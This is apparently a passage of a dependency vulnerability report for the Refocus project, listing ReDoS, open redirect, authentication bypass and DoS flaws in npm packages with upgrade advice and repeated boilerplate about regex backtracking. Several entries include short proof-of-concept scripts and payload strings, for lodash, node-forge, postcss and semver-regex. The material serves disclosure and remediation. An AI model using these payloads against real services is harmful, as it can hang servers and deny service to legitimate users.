Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

POC

var lo = require('lodash');

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)

var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: gulp@3.9.1, npm-watch@0.1.9 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10
    Remediation: Upgrade to gulp@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11
    Remediation: Upgrade to webpack@5.0.0.

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: gulp@3.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to gulp@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: natural
  • Introduced through: kue@0.11.6

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 reds@0.2.5 natural@0.2.1

Overview

natural is a General natural language (tokenizing, stemming (English, Russian, Spanish), part-of-speech tagging, sentiment analysis, classification, inflection, phonetics, tfidf, WordNet, jaro-winkler, Levenshtein distance, Dice's Coefficient) facilities for node.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to using the regex /^\s+|\s+$/g in dice_coefficient.js file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade natural to version 5.1.11 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@3.2.1.

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Open Redirect via parseUrl function when it mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.

PoC:


// poc.js
var forge = require("node-forge");
var url = forge.util.parseUrl("https:/\/\/\www.github.com/foo/bar");
console.log(url);

// Output of node poc.js:

{
  full: 'https://',
  scheme: 'https',
  host: '',
  port: 443,
  path: '/www.github.com/foo/bar',                        <<<---- path  should be "/foo/bar"
  fullHost: ''
}

Remediation

Upgrade node-forge to version 1.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: node-forge
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 node-forge@0.2.24
    Remediation: Upgrade to passport-saml@0.20.0.

Overview

node-forge is a native implementation of TLS (and various other cryptographic tools) in JavaScript.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This can cause an impact of about 10 seconds matching time for data 3K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 15th, 2018 - Initial Response by package owner
  • Feb 15th, 2018 - GitHub issue opened
  • Feb 26th, 2018 - Vulnerability published
  • Mar 7thth, 2018 - Vulnerability fixed

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Update node-forge to version 0.7.4 or higher.

References

medium severity

Authentication Bypass

  • Vulnerable module: passport-saml
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0
    Remediation: Upgrade to passport-saml@1.0.0.

Overview

passport-saml is an authentication provider for Passport, the Node.js authentication library.

Affected versions of this package are vulnerable to Authentication Bypass via the SAMLRequest parameter.

Remediation

Upgrade passport-saml to version 1.0.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: passport-saml
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0
    Remediation: Upgrade to passport-saml@3.1.0.

Overview

passport-saml is an authentication provider for Passport, the Node.js authentication library.

Affected versions of this package are vulnerable to Denial of Service (DoS) via malicious SAML payloads that may consume excess system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade passport-saml to version 3.1.0 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@6.7.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to autoprefixer@10.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

Remediation

Upgrade postcss to version 8.4.31 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@6.7.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to autoprefixer@9.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            postcss.parse(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade postcss to version 8.2.13, 7.0.36 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: redis
  • Introduced through: redis@2.8.0, connect-redis@3.4.2 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af redis@2.8.0
    Remediation: Upgrade to redis@3.1.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af connect-redis@3.4.2 redis@2.8.0
    Remediation: Upgrade to connect-redis@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 redis@2.6.5

Overview

redis is an A high performance Redis client.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When a client is in monitoring mode, monitor_regex, which is used to detected monitor messages` could cause exponential backtracking on some strings, leading to denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade redis to version 3.1.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver-regex
  • Introduced through: semver-regex@1.0.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af semver-regex@1.0.0
    Remediation: Upgrade to semver-regex@3.1.4.

Overview

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper usage of regex in the semverRegex() function.

PoC

'0.0.1-' + '-.--'.repeat(i) + ' '

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

